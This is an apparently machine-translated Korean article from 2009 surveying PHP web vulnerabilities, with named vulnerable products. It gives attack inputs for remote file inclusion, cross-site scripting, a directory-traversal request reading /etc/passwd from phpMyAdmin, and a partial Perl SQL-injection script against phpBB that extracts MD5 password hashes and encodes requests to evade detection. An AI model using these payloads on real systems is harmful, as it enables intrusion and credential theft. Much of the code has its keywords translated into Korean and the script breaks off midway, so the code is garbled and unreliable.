일반적인 PHP 페이지 취약점 분석 및 관련 문제 해결
저자:Eve Cole
업데이트 시간:2009-06-02 18:07:08
현재 네트워크 보안으로 볼 때 모두가 가장 우려하고 가장 많이 노출되는 WEB 페이지 취약점은 ASP일 것입니다. 이에 대해 Xiaozhu는 전문가이며 PHP의 관점에서는 말할 수 없습니다. 매우 심각한 보안 취약점이기도 합니다. 문제가 있지만 이 분야에 대한 기사가 많지 않습니다. 여기서는 PHP 페이지의 관련 취약점에 대해 간략하게 설명하겠습니다.
현재 일반적인 PHP 취약점을 요약했는데, 이는 파일 취약점, 스크립트 명령 실행 취약점, 파일 누출 취약점, SQL 주입 취약점 등을 포함하여 대략 다음 범주로 나뉩니다. 물론 다음과 같은 몇 가지 일반적인 기술에 대해서도 마찬가지입니다. COOKIE 스푸핑, 여기서는 다루지 않겠습니다. 온라인에 많은 정보가 있으므로, 이러한 취약점을 악용하는 방법을 하나씩 분석해 보겠습니다.
먼저, 포함된 파일 취약점에 대해 논의해 보겠습니다. 이 취약점은 외부에서 제공되는 악성 데이터의 처리가 충분하지 않기 때문에 발생하며, 이로 인해 원격 공격자가 이러한 취약점을 악용하여 WEB 프로세스로 시스템에서 임의의 명령을 실행할 수 있습니다. 예를 살펴보겠습니다. a.php에 다음과 같은 코드가 있다고 가정합니다.
include($include."/xxx.php");
?>
이 코드에서 $include는 일반적으로 설정된 경로이지만 우리가 직접 경로를 구성하면 공격 목적을 달성할 수 있습니다. 예를 들어 a.php?include=http://web/b를 제출합니다. 물론, b.php는 우리가 공격하는 데 사용하는 코드입니다. b.php 코드에 passthru("/bin/ls /etc")를 작성할 수 있습니다. 이러한 방식으로 일부 의도적인 공격을 수행할 수 있습니다. (참고: 웹 서버는 PHP 코드를 실행할 수 없어야 합니다. 그렇지 않으면 문제가 발생합니다. 관련 세부 정보는 << PHP 프로그램의 일반적인 취약점을 공격하는 방법 >>을 참조하세요. ) 이 취약점과 관련해 많은 문제가 있습니다. 예를 들면 PayPal Store Front,
HotNews, Mambo 오픈 소스, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart 등.
다음으로, 스크립트 명령 실행 취약점을 살펴보겠습니다. 이는 사용자가 제출한 URI 매개변수에 대한 충분한 필터링이 부족하기 때문입니다. 악성 HTML 코드가 포함된 데이터를 제출하면 크로스 사이트 스크립팅 공격이 발생할 수 있으며, 해당 시스템의 민감한 정보를 얻을 수 있습니다. 대상 사용자. 예를 들어 보겠습니다. PHP Transparent PHP 4.3.1 이하의 index.php 페이지에는 PHPSESSID에 대한 필터링이 충분하지 않습니다. 이러한 코드를 통해 공격 목적을 달성할 수 있습니다.
http://web/index.php?PHPSESSID =">스크립트에서 우리는 사용자의 민감한 정보를 얻기 위한 함수를 구성할 수 있습니다. 이와 관련하여 취약점은 상대적으로 적습니다. PHP Transparent 외에도 다음이 있습니다: PHP- Nuke, phpBB, PHP 분류, PHPix, Ultimate PHP 보드 등
그런 다음 파일 공개 취약점을 살펴보겠습니다. 이 취약점은 사용자가 제출한 매개변수에 대한 충분한 필터링이 부족하기 때문에 발생합니다. 원격 공격자는 이를 사용하여 디렉터리 탐색 공격을 수행하고 일부 민감한 정보를 얻을 수 있습니다. 최근에 발견된 phpMyAdmin을 예로 들어 보겠습니다. phpMyAdmin에서 내보내기.php 페이지는 사용자가 제출한 'what' 매개변수를 완전히 필터링하지 않습니다. 원격 공격자는 여러 '../' 문자가 포함된 데이터를 제출하여 이를 우회할 수 있습니다. WEB ROOT 제한을 극복하고 WEB 권한으로 시스템의 모든 파일 정보를 봅니다. 예를 들어, 다음과 같은 주소를 입력하면:export.php?what=../../../../../../etc/passwd%00 이런 점에서 파일 유출 목적을 달성할 수 있습니다. 상대적으로 myPHPNuke, McNews 등이 더 있습니다.
마지막으로 가장 흥미로운 부분으로 돌아왔습니다. ASP 페이지에서 SQL 주입을 사용하는 것이 얼마나 재미있는지 생각해 보세요. 과거에는 Xiaozhu가 "SQL 주입 비밀 책"을 알아낼 때까지 수동으로 주입해야 했습니다. NBSI 출시 후 우리 NB Alliance는 CSDN, Monopoly Forum 및 China Channel과 같은 대규모 웹사이트에서 허점을 찾는 데 도움을 주었습니다. 주제에서 벗어나...) 사실 ASP의 SQL 주입은 PHP의 SQL 주입과 거의 같습니다. asc를 ASCII로, len을 LENGTH로 변경하세요. , 기타 기능은 기본적으로 아무것도 변경되지 않았습니다. 사실 모든 사람들이 PHP에서 SQL 주입을 볼 때 PHP-NUKE 및 PHPBB를 생각합니까? 그렇습니다. 동왕 포럼은 큰 점수를 얻을 수 있습니다. ASP 세계의 취약점의 왕. 이것은 포럼의 보안이 너무 열악하다는 것이 아니라 다른 사람들이 더 많이 사용할수록 더 많은 사람들이 이를 조사하고 보안이 더 강해진다는 것을 의미합니다. PHPBB의 경우에도 마찬가지이며, 이제 많은 사람들이 PHP를 사용하여 포럼을 구축하는 경우 일반적으로 phpBB 1.4.0 버전에서 발견된 초기 취약점부터 PHPBB를 선택합니다. phpBB.com의 phpBB 2.0.6 버전의 최신 groupcp.php를 비롯하여 이전에 발견된 search.php, profile.php, viewtopic.php 등이 아마도 12개 정도 있을 것입니다. 많은 사람들이 PHP 취약점을 연구할 때 소위 실험적인 제품으로 사용하도록 유도했습니다. 많은 연습을 한 후에 PHPBB는 앞으로 점점 더 좋아질 것이라고 믿습니다.
자, 취약점의 원인을 분석해 보겠습니다. viewtopic.php 페이지를 예로 들어 보겠습니다. viewtopic.php를 호출하면 "topic_id"가 GET 요청에서 직접 얻어지고 이를 실행하지 않고 SQL 쿼리 명령으로 전달됩니다. 필터링 처리를 통해 공격자는 MD5 비밀번호를 얻기 위해 특수 SQL 문자열을 제출할 수 있습니다. 이 비밀번호 정보를 얻으면 자동 로그인이나 무차별 대입 크래킹에 사용될 수 있습니다. (특별히 중요한 이유가 없는 한 누구도 무차별 대입 크래킹을 하고 싶어하지 않을 것이라고 생각합니다.) 관련 소스 코드를 먼저 살펴보겠습니다.
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
위에서 보면 제출된 view=newest 및 sid가 값으로 설정되면 실행된 쿼리 코드가 다음과 같은 모습을 볼 수 있습니다. (PHPBB 소스 코드를 아직 보지 못했다면 읽어보고 여기로 오시기 바랍니다. 영향을 받는 시스템은 phpBB 2.0.5 및 phpBB 2.0.4입니다.
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# 제한 1";
Rick은 다음 테스트 코드를 제공했습니다.
IO::소켓을 사용합니다.
$remote = 시프트 || '로컬호스트';
$view_topic = 이동 || '/phpBB2/viewtopic.php';
$uid = 시프트 ||
$ 포트 = 80;
$dbtype = 'mysql4'; # mysql4 또는 pgsql
"uid $uid server $remote dbtype: $dbtypen에 대한 비밀번호 해시를 가져오는 중"을 인쇄합니다.
$p = "";
for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
피어포트 => $포트,
프로토 => "tcp",
유형 => SOCK_STREAM)
또는 "$remote:$port에 연결할 수 없습니다: $@n ";
$str = "$view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) "&view=newest";
$socket $str을 인쇄합니다;
print $socket "Cookie: phpBB2mysql_sid=1n" # pgsql용으로 바꾸거나 제거합니다.
$socket "호스트: $remotenn" 인쇄;
동안($답변 = <$소켓>)
{
if ($answer =~ /location:.*x23(d+)/) # 위치와 일치: viewtopic.php?p=#
{
$p .= 문자();
}
}
닫기($소켓);
}
"nuid $uid에 대한 MD5 해시는 $pn입니다"를 인쇄합니다.
# 무작위 인코딩 문자열은 감지를 방지하는 데 도움이 됩니다.
하위 무작위_인코드
{
$str = 시프트;
$ret = "";
for($i=0; $i